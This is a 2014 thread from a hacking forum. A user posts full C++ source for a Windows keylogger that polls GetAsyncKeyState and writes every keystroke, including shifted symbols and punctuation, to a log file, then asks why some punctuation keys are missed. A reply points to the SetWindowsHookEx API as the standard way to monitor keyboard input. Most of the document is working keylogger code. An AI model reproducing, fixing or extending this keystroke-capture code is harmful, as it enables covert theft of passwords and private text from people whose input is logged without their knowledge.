![]() |
|
Need help reading keyboard ( writing a keylogger) - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Coding (https://sinister.ly/Forum-Coding) +--- Forum: C, C++, & Obj-C (https://sinister.ly/Forum-C-C-Obj-C) +--- Thread: Need help reading keyboard ( writing a keylogger) (/Thread-Need-help-reading-keyboard-writing-a-keylogger) |
Need help reading keyboard ( writing a keylogger) - 0pt1cKill3r - 07-07-2014 Hey guys. I am trying to write a keylogger and addvancing my C++ knowledge at the same time. The problem i have is that it seems like i cant read VK_OEM keys nad punctuation keys ( the ones that correspond to ,./;'[] in the keyboard). Other keys are read fine (numbers, letters, numpad). I think its not a writing to the file error because i can see the input that this program reads. ![]() when i press those buttons it doesnt write correspondent codes in the console. MY CODE : Code: #include <iostream>
#include <windows.h>
#include <winuser.h>
using namespace std;
int Save (int key_stroke, char *file);
int isCapsLock();
int main(){
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"Log_test.txt");
}
}
system ("PAUSE");
return 0;
}
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if ((key_stroke>=39)&&(key_stroke<=64)) // 0-9
{
if (GetAsyncKeyState(VK_SHIFT)) // 0-9 + shift
{
switch (key_stroke)
{
case 0x30:
fprintf(OUTPUT_FILE,"%s",(")"));
break;
case 0x31:
fprintf(OUTPUT_FILE,"%s",("!"));
break;
case 0x32:
fprintf(OUTPUT_FILE,"%s",("@"));
break;
case 0x33:
fprintf(OUTPUT_FILE,"%s",("#"));
break;
case 0x34:
fprintf(OUTPUT_FILE,"%s",("$"));
break;
case 0x35:
fprintf(OUTPUT_FILE,"%s",("%"));
break;
case 0x36:
fprintf(OUTPUT_FILE,"%s",("^"));
break;
case 0x37:
fprintf(OUTPUT_FILE,"%s",("&"));
break;
case 0x38:
fprintf(OUTPUT_FILE,"%s",("*"));
break;
case 0x39:
fprintf(OUTPUT_FILE,"%s",("("));
break;
}
}else{
fprintf(OUTPUT_FILE,"%c",key_stroke); // 0-9 w/o shift
}
}
else if ((key_stroke>64)&&(key_stroke<91)) // "A-Z"
{
if (!(GetAsyncKeyState(VK_SHIFT)^isCapsLock())) // if not shift nor casps lock
{
key_stroke += 32; // transform to "a-z"
}
fprintf(OUTPUT_FILE,"%c",key_stroke);
}
else
{
switch (key_stroke) // check for other keys
{
case VK_SPACE:
fprintf(OUTPUT_FILE,"%s"," ");
break;
case VK_LCONTROL:
case VK_RCONTROL:
fprintf(OUTPUT_FILE,"%s","[CTRL]");
case VK_LMENU:
case VK_RMENU:
fprintf(OUTPUT_FILE,"%s","[ALT]");
break;
case VK_INSERT:
fprintf(OUTPUT_FILE,"%s","[Insert]");
break;
case VK_DELETE:
fprintf(OUTPUT_FILE,"%s","[DELETE]");
break;
// NUMPAD
case VK_NUMPAD0:
fprintf(OUTPUT_FILE,"%s","0");
break;
case VK_NUMPAD1:
fprintf(OUTPUT_FILE,"%s","1");
break;
case VK_NUMPAD2:
fprintf(OUTPUT_FILE,"%s","2");
break;
case VK_NUMPAD3:
fprintf(OUTPUT_FILE,"%s","3");
break;
case VK_NUMPAD4:
fprintf(OUTPUT_FILE,"%s","4");
break;
case VK_NUMPAD5:
fprintf(OUTPUT_FILE,"%s","5");
break;
case VK_NUMPAD6:
fprintf(OUTPUT_FILE,"%s","6");
break;
case VK_NUMPAD7:
fprintf(OUTPUT_FILE,"%s","7");
break;
case VK_NUMPAD8:
fprintf(OUTPUT_FILE,"%s","8");
break;
case VK_NUMPAD9:
fprintf(OUTPUT_FILE,"%s","9");
break;
// end of numpad
case 0xBA: // VK_OEM_1
if(GetAsyncKeyState(VK_SHIFT))
fprintf(OUTPUT_FILE,"%s", ":");
else
fprintf(OUTPUT_FILE,"%s", ";");
break;
case VK_OEM_2:
if(GetAsyncKeyState(VK_SHIFT))
fprintf(OUTPUT_FILE,"%s", "?");
else
fprintf(OUTPUT_FILE,"%s", "/");
break;
case VK_OEM_3:
if(GetAsyncKeyState(VK_SHIFT))
fprintf(OUTPUT_FILE,"%s", "~");
else
fprintf(OUTPUT_FILE,"%s", "`");
break;
case VK_OEM_4:
if(GetAsyncKeyState(VK_SHIFT))
fprintf(OUTPUT_FILE,"%s", "{");
else
fprintf(OUTPUT_FILE,"%s", "[");
break;
case VK_OEM_5:
if(GetAsyncKeyState(VK_SHIFT))
fprintf(OUTPUT_FILE,"%s", "|");
else
fprintf(OUTPUT_FILE,"%s", "\\");
break;
case VK_OEM_6:
if(GetAsyncKeyState(VK_SHIFT))
fprintf(OUTPUT_FILE,"%s", "}");
else
fprintf(OUTPUT_FILE,"%s", "]");
break;
case VK_OEM_7:
if(GetAsyncKeyState(VK_SHIFT))
fprintf(OUTPUT_FILE,"%s", "\"");
else
fprintf(OUTPUT_FILE,"%s", "\'");
break;
}
}
return 0;
}
int isCapsLock(){
if ((GetKeyState(VK_CAPITAL) & 0x0001) !=0 )
{
return 1;
}else{
return 0;
}
}I really hope somebody can help me. edit : -=` buttons also dont work RE: Need help reading keyboard ( writing a keylogger) - lady_godiva - 07-08-2014 The main reason is that reading keyboard that way requires you to use SetWindowsHookEx function. An alternative would be to save everything inside a string and then writing to a file. That way you would have no problem achieving your task but i wouldn't recommend it. Since i see from the headers you included, that you are using Windows, a standard way to do this would be using SetWindowsHookEx function which allows you to monitor keyboard input. Take a look at the API: http://msdn.microsoft.com/en-us/library/windows/desktop/ms644990%28v=vs.85%29.aspx RE: Need help reading keyboard ( writing a keylogger) - 0pt1cKill3r - 07-08-2014 Thanks a lot. I was stuck couldnt find a way out. |